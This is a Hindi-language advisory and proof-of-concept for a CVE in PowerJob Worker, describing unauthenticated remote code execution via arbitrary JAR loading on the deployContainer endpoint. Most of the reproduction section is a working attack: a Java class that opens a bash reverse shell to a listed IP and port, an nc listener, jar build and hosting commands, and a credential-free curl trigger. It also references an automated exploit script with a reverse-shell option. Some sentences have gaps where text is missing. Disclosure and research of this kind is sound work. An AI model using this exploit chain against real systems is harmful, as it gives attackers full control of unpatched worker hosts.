
CVE-2026-75430 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो deployContainer एंडपॉइंट के माध्यम से मनमाने JAR लोडिंग के जरिए PowerJob Worker पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त करता है।
/worker/deployContainer के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (आर्बिट्रेरी JAR लोडिंग)PowerJob Worker अपने HTTP ट्रांसपोर्ट पोर्ट 27777 पर deployContainer हैंडलर को बिना किसी प्रमाणीकरण के उजागर करता है। एक हमलावर एक आर्बिट्रेरी URL सबमिट करता है; Worker उस JAR को डाउनलोड करता है और उसे URLClassLoader + Spring ClassPathXmlApplicationContext के माध्यम से लोड करता है, जिससे Spring init-method के दौरान आर्बिट्रेरी कोड निष्पादित होता है → Worker RCE। डिफ़ॉल्ट docker-compose इस पोर्ट को होस्ट पर प्रकाशित करता है।
पूर्वशर्त (ईमानदार बयान): Worker को चालू होना चाहिए (27777 सुन रहा हो)। डिफ़ॉल्ट कॉन्फ़िगरेशन में Worker स्टार्टअप पर सत्यापित करता है कि उसका ऐप सर्वर पर पंजीकृत है (); (सत्यापित: Java प्रक्रिया कोड 1 के साथ बाहर निकलती है)। इसलिए एक पूरी तरह से नई "docker-compose up बिना कंसोल सेटअप के" स्थिति सीधे शोषण योग्य नहीं है। हालाँकि, (अन्यथा सिस्टम कोई जॉब शेड्यूल नहीं करता), इसलिए , जिसके बाद शोषण शून्य-क्रेडेंशियल है। इसके विपरीत, सहयोगी खोज PJ-08 (सर्वर ) में ऐसी कोई पूर्वशर्त नहीं है — सर्वर स्टार्टअप पर बिना शर्त 10010 बाइंड करता है।
/server/assert/friend/processpowerjob-worker, आधिकारिक powerjob-worker-samples इमेज के माध्यम से तैनात)docker-compose.yml worker सेवा, HTTP प्रोटोकॉल, पोर्ट 27777 (PowerJobWorkerConfig.java:34)| आइटम | मान |
|---|---|
| प्रवेश बिंदु | POST http://<worker>:27777/worker/deployContainer |
| हैंडलर | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), कोई प्रमाणीकरण नहीं) |
| डाउनलोड | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| लोड | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
अनुरोध बॉडी ServerDeployContainerRequest (फ़ील्ड containerId/containerName/version/downloadURL)।
WorkerActor हैंडलर downloadURL पर पूरी तरह भरोसा करता है।OmsContainerFactory JAR को एक आर्बिट्रेरी URL से डाउनलोड करता है और तुरंत OmsJarContainer.init() को कॉल करता है: URLClassLoader लोड + Spring कॉन्टेक्स्ट refresh() → क्लास/Bean आरंभीकरण के दौरान दुर्भावनापूर्ण कोड चलता है।पूर्वशर्त: Worker चालू है और 27777 सुन रहा है (किसी भी प्रोडक्शन/डेमो डिप्लॉयमेंट द्वारा संतुष्ट; यदि ऑपरेटर ने आधिकारिक प्रवाह का पालन किया और नमूना ऐप बनाया, तो Worker ऑनलाइन है)। पुनरुत्पादन के लिए, Worker को ऐप-पंजीकरण जांच को छोड़ने के लिए --powerjob.worker.allow-lazy-connect-server=true के साथ शुरू किया जा सकता है (प्रोडक्शन में अनुशंसित नहीं; ध्यान दें कि यह स्विच केवल यह प्रभावित करता है कि Worker ऑनलाइन आता है या नहीं — यह खुले पोर्ट पर लापता प्रमाणीकरण को नहीं बदलता)।
OmsJarContainer.init() की आवश्यकताओं से मेल खाती हुई):
PACKAGE_NAME=com.evil के साथ oms-worker-container.propertiescom/evil/Exploit.class — एक क्लास जो Spring init-method (जैसे run()) उजागर करती है जो एक कमांड निष्पादित करती हैoms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>{"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"} के साथ POST /worker/deployContainer भेजें।OmsJarContainer.init(): OhMyClassLoader.load() क्लास लोड करता है (स्टैटिक इनिशियलाइज़र नहीं चलाता), फिर ClassPathXmlApplicationContext.refresh() Bean को इंस्टैंशिएट करता है और init-method → आर्बिट्रेरी कमांड निष्पादन (Worker के रनटाइम विशेषाधिकारों के साथ) को लागू करता है।AbstractScriptProcessor.java:118-123 भी एक आर्बिट्रेरी URL से डाउनलोड करने का समर्थन करता है → Worker-साइड SSRF।कोई आउटपुट इको नहीं:
deployContainerहैंडलरvoidलौटाता है, इसलिए HTTP प्रतिक्रिया में कोई कमांड आउटपुट नहीं होता (सत्यापित: खाली बॉडी)। इंटरैक्टिव कमांड निष्पादन के लिए प्राथमिक तकनीक रिवर्स शेल है (नीचे पुनरुत्पादन देखें); मार्कर-फ़ाइल वैरिएंट केवल एक स्थानीय, गैर-इंटरैक्टिव सत्यापन है।
पर्यावरण: JDK 21, स्रोत-निर्मित powerjob-worker-samples-5.1.2.jar, Worker 192.168.49.128:27777 पर सुन रहा है (ऐप पंजीकरण छोड़ने के लिए --powerjob.worker.allow-lazy-connect-server=true के साथ शुरू किया गया)।
प्राथमिक — रिवर्स शेल (इंटरैक्टिव कमांड निष्पादन):
दुर्भावनापूर्ण JAR का Exploit.run() (Spring init-method) एक रिवर्स शेल उत्पन्न करता है। चूंकि कोई आउटपुट इको नहीं है, यह Worker होस्ट पर इंटरैक्टिव कमांड निष्पादन प्राप्त करने का प्रभावी तरीका है।
# 1) हमलावर पहले सुनता है:
nc -lvnp 7878
# 2) दुर्भावनापूर्ण JAR निर्माण — Exploit.run() एक bash रिवर्स शेल चलाता है
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # evil.jar होस्ट करें
# 3) ट्रिगर (कोई क्रेडेंशियल नहीं):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

वैकल्पिक रूप से, सत्यापन के लिए स्क्रिप्ट का उपयोग करें: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC मुख्य बिंदु:
OhMyClassLoader.load()केवलloadClass()को कॉल करता है, जो स्टैटिक इनिशियलाइज़र नहीं चलाता; वास्तविक निष्पादन बिंदु Spring init-method है जिसेClassPathXmlApplicationContext.refresh()द्वारा लागू किया जाता है। इसलिए दुर्भावनापूर्ण JAR को Spring XML ले जाना चाहिए औरinit-methodघोषित करना चाहिए। रिवर्स शेल को/bin/bash -cके माध्यम से चलना चाहिए क्योंकि/bin/sh(dash)/dev/tcpको पार्स नहीं करता।
deployContainer को केवल एक विश्वसनीय Server द्वारा ट्रिगर करने की अनुमति दें और स्रोत को सत्यापित करें।downloadURL को विश्वसनीय आंतरिक पतों तक सीमित करें; लोड करने से पहले JAR हैश/हस्ताक्षर सत्यापित करें।CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 क्रिटिकलPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, कोई क्रेडेंशियल नहीं → Worker RCE); ## 6. पुनरुत्पादन देखेंPowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (स्वचालित JAR निर्माण + होस्ट + ट्रिगर, --reverse-shell, -p/--proxy)SECURITY.md चैनल के माध्यम से (Tidelift / [email protected] / GitHub Security Advisory)